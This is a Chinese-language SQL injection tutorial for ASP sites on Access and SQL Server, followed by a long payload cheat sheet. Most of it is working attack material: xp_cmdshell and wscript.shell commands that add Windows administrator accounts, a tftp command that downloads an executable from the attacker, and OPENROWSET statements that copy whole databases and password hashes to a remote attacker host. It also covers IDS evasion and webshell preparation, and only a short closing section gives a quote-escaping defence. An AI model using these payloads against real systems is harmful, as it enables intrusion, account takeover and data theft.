随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。

但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。

根据国情,国内的网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧,PHP注入的文章由NB联盟的另一位朋友zwell撰写,希望对安全工作者和程序员都有用处。了解 ASP注入的朋友也请不要跳过入门篇,因为部分人对注入的基本判断方法还存在误区。大家准备好了吗?Let's Go...



入 门 篇 



如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。



第一节、SQL注入原理

以下我们从一个网站www.mytest.com开始(注:本文发表前已征得该站站长同意,大部分都是真实数据)

在网站首页上,有名为“IE不能打开新窗口的多种解决方法”的链接,地址为:http://www.mytest.com/showdetail.asp?id=49,我们在这个地址后面加上单引号’,服务器会返回下面的错误提示:

Microsoft JET Database Engine 错误 '80040e14'

字符串的语法错误 在查询表达式 'ID=49'' 中。

/showdetail.asp,行8



从这个错误提示我们能看出下面几点:

1. 网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。

2. 程序没有判断客户端提交的数据是否符合程序要求。

3. 该SQL语句所查询的表中有一名为ID的字段。

从上面的例子我们可以知道,SQL注入的原理,就是从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取你想到得到的资料。



第二节、判断能否进行SQL注入



看完第一节,有一些人会觉得:我也是经常这样测试能否注入的,这不是很简单吗?

其实,这并不是最好的方法,为什么呢?

首先,不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。

其次,部分对SQL注入有一点了解的程序员,认为只要把单引号过滤掉就安全了,这种情况不为少数,如果你用单引号测试,是测不到注入点的。

那么,什么样的测试方法才是比较准确呢?答案如下:

① http://www.mytest.com/showdetail.asp?id=49

② http://www.mytest.com/showdetail.asp?id=49 ;and 1=1

③ http://www.mytest.com/showdetail.asp?id=49 ;and 1=2

这就是经典的1=1、1=2测试法了,怎么判断呢?看看上面三个网址返回的结果就知道了:

可以注入的表现:

① 正常显示(这是必然的,不然就是程序有错误了)

② 正常显示,内容基本与①相同

③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resume next)

不可以注入就比较容易判断了,①同样正常显示,②和③一般都会有程序定义的错误提示,或提示类型转换时出错。

当然,这只是传入参数是数字型的时候用的判断方法,实际应用的时候会有字符型和搜索型参数,我将在中级篇的“SQL注入一般步骤”再做分析。



第三节、判断数据库类型及注入方法



不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer,网上超过99%的网站都是其中之一。

怎么让程序告诉你它使用的什么数据库呢?来看看:

SQLServer有一些系统变量,如果服务器IIS提示没关闭,并且SQLServer返回错误提示的话,那可以直接从出错信息获取,方法如下:

http://www.mytest.com/showdetail.asp?id=49 ;and user>0

这句语句很简单,但却包含了SQLServer特有注入方法的精髓,我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义:首先,前面的语句是正常的,重点在and user>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个 nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误,呵呵,abc正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里,大家会看到很多用这种方法的语句。

顺便说几句,众所周知,SQLServer的用户sa是个等同Adminstrators权限的角色,拿到了sa权限,几乎肯定可以拿到主机的 Administrator了。上面的方法可以很方便的测试出是否是用sa登录,要注意的是:如果是sa登录,提示是将”dbo”转换成int的列发生错误,而不是”sa”。

如果服务器IIS不允许返回错误提示,那怎么判断数据库类型呢?我们可以从Access和SQLServer和区别入手,Access和 SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。

在确认可以注入的情况下,使用下面的语句:

http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from sysobjects)>0

http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from msysobjects)>0

如果数据库是SQLServer,那么第一个网址的页面与原页面http://www.mytest.com/showdetail.asp?id= 49是大致相同的;而第二个网址,由于找不到表msysobjects,会提示出错,就算程序有容错处理,页面也与原页面完全不同。

如果数据库用的是Access,那么情况就有所不同,第一个网址的页面与原页面完全不同;第二个网址,则视乎数据库设置是否允许读该系统表,一般来说是不允许的,所以与原网址也是完全不同。大多数情况下,用第一个网址就可以得知系统所用的数据库类型,第二个网址只作为开启IIS错误提示时的验证。



进 阶 篇 



在入门篇,我们学会了SQL注入的判断方法,但真正要拿到网站的保密内容,是远远不够的。接下来,我们就继续学习如何从数据库中获取想要获得的内容,首先,我们先看看SQL注入的一般步骤:

第一节、SQL注入的一般步骤 

首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。

其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:

(A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:

Select * from 表名 where 字段=49

注入的参数为ID=49 And [查询条件],即是生成语句:

Select * from 表名 where 字段=49 And [查询条件]

(B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:

Select * from 表名 where 字段=’连续剧’

注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:

Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’

© 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:

Select * from 表名 where 字段like ’%关键字%’

注入的参数为keyword=’ and [查询条件] and ‘%25’=’, 即是生成语句:

Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’

接着,将查询条件替换成SQL语句,猜解表名,例如:

ID=49 And (Select Count(*) from Admin)>=0

如果页面就与ID=49的相同,说明附加条件成立,即表Admin存在,反之,即不存在(请牢记这种方法)。如此循环,直至猜到表名为止。

表名猜出来后,将Count(*)替换成Count(字段名),用同样的原理猜解字段名。

有人会说:这里有一些偶然的成分,如果表名起得很复杂没规律的,那根本就没得玩下去了。说得很对,这世界根本就不存在100%成功的黑客技术,苍蝇不叮无缝的蛋,无论多技术多高深的黑客,都是因为别人的程序写得不严密或使用者保密意识不够,才有得下手。

有点跑题了,话说回来,对于SQLServer的库,还是有办法让程序告诉我们表名及字段名的,我们在高级篇中会做介绍。

最后,在表名和列名猜解成功后,再使用SQL语句,得出字段的值,下面介绍一种最常用的方法-Ascii逐字解码法,虽然这种方法速度很慢,但肯定是可行的方法。

我们举个例子,已知表Admin中存在username字段,首先,我们取第一条记录,测试长度:

http://www.mytest.com/showdetail.asp?id=49 ;and (select top 1 len(username) from Admin)>0

先说明原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>7成立,>8不成立,就是len(username)=8

当然没人会笨得从0,1,2,3一个个测试,怎么样才比较快就看各自发挥了。在得到username的长度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码,比如:

id=49 and (select top 1 unicode(substring(username,1,1)) from Admin)>0

同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意的是英文和数字的ASCII码在1-128之间,可以用折半法加速猜解,如果写成程序测试,效率会有极大的提高。



第二节、SQL注入常用函数



有SQL语言基础的人,在SQL注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL水平,特别是一些常用的函数及命令。

Access:asc(字符) SQLServer:unicode(字符)

作用:返回某字符的ASCII码

Access:chr(数字) SQLServer:nchar(数字)

作用:与asc相反,根据ASCII码返回字符

Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)

作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串

Access:abc(数字) SQLServer:abc (数字)

作用:返回数字的绝对值(在猜解汉字的时候会用到)

Access:A between B And C SQLServer:A between B And C

作用:判断A是否界于B与C之间



第三节、中文处理方法



在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解,“中文恐惧症”很快可以克服。

先说一点常识:

Access中,中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。

SQLServer中,中文的ASCII为正数,但由于是UNICODE的双位编码,不能用函数ascii()取得ASCII码,必须用函数unicode ()返回unicode值,再用nchar函数取得对应的中文字符。

了解了上面的两点后,是不是觉得中文猜解其实也跟英文差不多呢?除了使用的函数要注意、猜解范围大一点外,方法是没什么两样的。



高 级 篇 



看完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了。但如果碰到表名列名猜不到,或程序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么样提高猜解效率?请大家接着往下看高级篇。



第一节、利用系统表注入SQLServer数据库



SQLServer是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子:

① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--

分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:

② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--

将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。

③ http://Site/url.asp?id=1 ;and db_name()>0

前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。

④ http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--

这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如\\202.96.xx.xx\Share \1.db),但成功率不高。

⑤ http://Site/url.asp?id=1 ;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0

前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。

⑥ http://Site/url.asp?id=1 ;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0

从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。

以上6点是我研究SQLServer注入半年多以来的心血结晶,可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。在我研究SQLServer注入之后,我在开发方面的水平也得到很大的提高,呵呵,也许安全与开发本来就是相辅相成的吧。



第二节、绕过程序限制继续注入



在入门篇提到,有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’号的方法来“防止”注入漏洞,这也许能挡住一些入门者的攻击,但对SQL注入比较熟悉的人,还是可以利用相关的函数,达到绕过程序限制的目的。

在“SQL注入的一般步骤”一节中,我所用的语句,都是经过我优化,让其不包含有单引号的;在“利用系统表注入SQLServer数据库”中,有些语句包含有’号,我们举个例子来看看怎么改造这些语句:

简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。



第三节、经验小结

1.有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家可以用selecT这样尝试一下。

2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。

3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考URLEncode的相关介绍。

4.用Get方法注入时,IIS会记录你所有的提交字符串,对Post方法做则不记录,所以能用Post的网址尽量不用Get。

5. 猜解Access时只能用Ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。



防 范 方 法

SQL注入漏洞可谓是“千里之堤,溃于蚁穴”,这种漏洞在网上极为普遍,通常是由于程序员对注入不了解,或者程序过滤不严格,或者某个参数忘记检查导致。在这里,我给大家一个函数,代替ASP中的Request函数,可以对一切的SQL注入Say NO,函数如下:

Function SafeRequest(ParaName,ParaType)

'--- 传入参数 ---

'ParaName:参数名称-字符型

'ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)

Dim ParaValue

ParaValue=Request(ParaName)

If ParaType=1 then

If not isNumeric(ParaValue) then

Response.write "参数" & ParaName & "必须为数字型!"

Response.end

End if

Else

ParaValue=replace(ParaValue,"'","''")

End if

SafeRequest=ParaValue

End function

文章到这里就结束了,不管你是安全人员、技术爱好者还是程序员,我都希望本文能对你有所帮助。





orgSql注射总结(早源于'or'1'='1) 



最重要的表名:

select * from sysobjects

sysobjects ncsysobjects

sysindexes tsysindexes

syscolumns

systypes

sysusers

sysdatabases

sysxlogins

sysprocesses

当然还有很多啦哦 这就看你自己在实际操作中的应用啦!:)



最重要的一些用户名(默认sql数据库中存在着的)

public

dbo

guest(一般禁止,或者没权限)

db_sercurityadmin

ab_dlladmin



一些默认扩展

xp_regaddmultistring

xp_regdeletekey

xp_regdeletevalue

xp_regenumkeys

xp_regenumvalues

xp_regread

xp_regremovemultistring

xp_regwrite

xp_availablemedia 驱动器相关

xp_dirtree 目录

xp_enumdsn ODBC连接

xp_loginconfig 服务器安全模式信息

xp_makecab 创建压缩卷

xp_ntsec_enumdomains domain信息

xp_terminate_process 终端进程,给出一个PID



例如:

sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'

exec xp_webserver

sp_dropextendedproc 'xp_webserver'

bcp "select * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

' group by users.id having 1=1-

' group by users.id, users.username, users.password, users.privs having 1=1-

'; insert into users values( 666, 'attacker', 'foobar', 0xffff )-

union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable'-

union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id')-

union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id','login_name')-

union select TOP 1 login_name FROM logintable-

union select TOP 1 password FROM logintable where login_name='Rahul'--

构造语句:查询是否存在xp_cmdshell

' union select @@version,1,1,1--

and 1=(select @@VERSION)

and 'sa'=(select System_user)

' union select ret,1,1,1 from foo--

' union select min(username),1,1,1 from users where username > 'a'-

' union select min(username),1,1,1 from users where username > 'admin'-

' union select password,1,1,1 from users where username = 'admin'--

and user_name()='dbo'

and 0<>(select user_name()-

; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user swap 5245886 /add'

and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')

;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'

1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype='x'%20and%20name='xp_cmdshell')

and 1=(select IS_SRVROLEMEMBER('sysadmin')) 判断sa权限是否

and 0<>(select top 1 paths from newtable)-- 暴库大法

and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名(从1到5都是系统的id,6以上才可以判断)

创建一个虚拟目录E盘:

declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认 Web 站点" -v "e","e:\"'

访问属性:(配合写入一个webshell)

declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)

依次提交 dbid = 7,8,9.... 得到更多的数据库名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表 假设为 admin

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 来得到其他的表。

and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin'

and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id

and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id

and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in

('id',...)) 来暴出其他的字段

and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名

依次可以得到密码。。。。。假设存在user_id username ,password 等字段

Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin

Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin

(union语句到处风靡啊,access也好用

暴库特殊技巧::%5c='\' 或者把/和\ 修改%5提交

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address'))

and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判断id值

and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

http://xx.xx.xx.xx/111.asp?id=3400;create table [dbo].[swap] ([swappass][char](255));--

http://xx.xx.xx.xx/111.asp?id=3400 and (select top 1 swappass from swap)=1

;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test)

http://61.131.96.39/PageShow.asp?TianName=政策法规&InfoID={57C4165A-4206-4C0D-A8D2-E70666EE4E08};use%20master;declare%20@s%20%20int;exec%20sp_oacreate%20"wscript.shell",@s%20out;exec%20sp_oamethod%20@s,"run",NULL,"cmd.exe%20/c%20ping%201.1.1.1";--

得到了web路径d:\xxxx,接下来:

http://xx.xx.xx.xx/111.asp?id=3400;use ku1;--

http://xx.xx.xx.xx/111.asp?id=3400;create table cmd (str image);--

传统的存在xp_cmdshell的测试过程:

;exec master..xp_cmdshell 'dir'

;exec master.dbo.sp_addlogin hax;--

;exec master.dbo.sp_password null,hax,hax;--

;exec master.dbo.sp_addsrvrolemember hax sysadmin;--

;exec master.dbo.xp_cmdshell 'net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--

;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--

exec master..xp_servicecontrol 'start', 'schedule'

exec master..xp_servicecontrol 'start', 'server'

http://www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user swap 5258 /add'

;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net localgroup administrators swap/add'

http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp -i youip get file.exe'-

declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'

declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'

;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat'

如果被限制则可以。

select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax')

传统查询构造:

select * FROM news where id=... AND topic=... AND .....

admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>'

select 123;--

;use master;--

:a' or name like 'fff%';-- 显示有一个叫ffff的用户哈。

'and 1<>(select count(email) from [user]);--

;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--

说明:

上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。

通过查看ffff的用户资料可得第一个用表叫ad

然后根据表名ad得到这个表的ID

ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--

象下面这样就可以得到第二个表的名字了

ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--

ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--

ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';--

ffff';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--

exec master..xp_servicecontrol 'start', 'schedule'

exec master..xp_servicecontrol 'start', 'server'

sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'

扩展存储就可以通过一般的方法调用:

exec xp_webserver

一旦这个扩展存储执行过,可以这样删除它:

sp_dropextendedproc 'xp_webserver'

insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-

insert into users values( 667,123,123,0xffff)-

insert into users values ( 123, 'admin''--', 'password', 0xffff)-

;and user>0

;;and (select count(*) from sysobjects)>0

;;and (select count(*) from mysysobjects)>0 //为access数据库



-----------------------------------------------------------通常注射的一些介绍:

A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:

select * from 表名 where 字段=49

注入的参数为ID=49 And [查询条件],即是生成语句:

select * from 表名 where 字段=49 And [查询条件]

(B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:

select * from 表名 where 字段='连续剧'

注入的参数为Class=连续剧' and [查询条件] and ''=' ,即是生成语句:

select * from 表名 where 字段='连续剧' and [查询条件] and ''=''

(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:

select * from 表名 where 字段like '%关键字%'

注入的参数为keyword=' and [查询条件] and '%25'=', 即是生成语句:

select * from 表名 where字段like '%' and [查询条件] and '%'='%'

;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0

sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype='U' and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。

;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0

从⑤拿到表名后,用object_id('表名')获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。



post.htm内容:主要是方便输入。

<iframe name=p src=# width=800 height=350 frameborder=0></iframe>

<br>

<form action=http://test.com/count.asp target=p>

<input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--" style="width:750">

<input type=submit value=">>>">

<input type=hidden name=fno value="2, 3">

</form>

枚举出他的数据表名:

id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--

这是将第一个表名更新到aaa的字段处。

读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>'刚才得到的表名')。

id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--

然后id=1552 and exists(select * from aaa where aaa>5)

读出第二个表,^^^^^^一个个的读出,直到没有为止。

读字段是这样:

id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--

然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名

id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--

然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名

--------------------------------高级技巧:

[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]

update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一个加一个]) [ where 条件]

select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…)

通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]

update 表名 set 字段=(select top 1 col_name(object_id('要查询的数据表名'),字段列如:1) [ where 条件]

绕过IDS的检测[使用变量]

declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'

declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'

1、 开启远程数据库

基本语法

select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' )

参数: (1) OLEDB Provider name

2、 其中连接字符串参数可以是任何和端口用来连接,比如

select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table'

要复制目标主机的整个数据库,首先要在目标主机上和自己机器上的数据库建立连接(如何在目标主机上建立远程连接,刚才已经讲了),之后insert所有远程表到本地表。



基本语法:

insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1') select * from table2

这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:

insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from table2

insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysdatabases')

select * from master.dbo.sysdatabases

insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysobjects')

select * from user_database.dbo.sysobjects

insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _syscolumns')

select * from user_database.dbo.syscolumns

之后,便可以从本地数据库中看到目标主机的库结构,这已经易如反掌,不多讲,复制数据库:

insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from database..table1

insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table2') select * from database..table2

......



3、 复4、 制哈西表(HASH)

这实际上是上述复5、 制数据库的一个扩展应用。登录密码的hash存储于sysxlogins中。方法如下:

insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysxlogins') select * from database.dbo.sysxlogins

得到hash之后,6、 就可以进行暴力破解。这需要一点运气和大量时间。



遍历目录的方法:

先创建一个临时表:temp

'5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

5';insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器

5';insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表

5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构,并寸入temp表中

5';insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看某个文件的内容

5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\';--

5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\ *.asp /s/a';--

5';insert into temp(id) exec master.dbo.xp_cmdshell 'cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc'

5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- (xp_dirtree适用权限PUBLIC)

写入表:

语句1:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('sysadmin'));--

语句2:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('serveradmin'));--

语句3:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('setupadmin'));--

语句4:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('securityadmin'));--

语句5:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('securityadmin'));--

语句6:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('diskadmin'));--

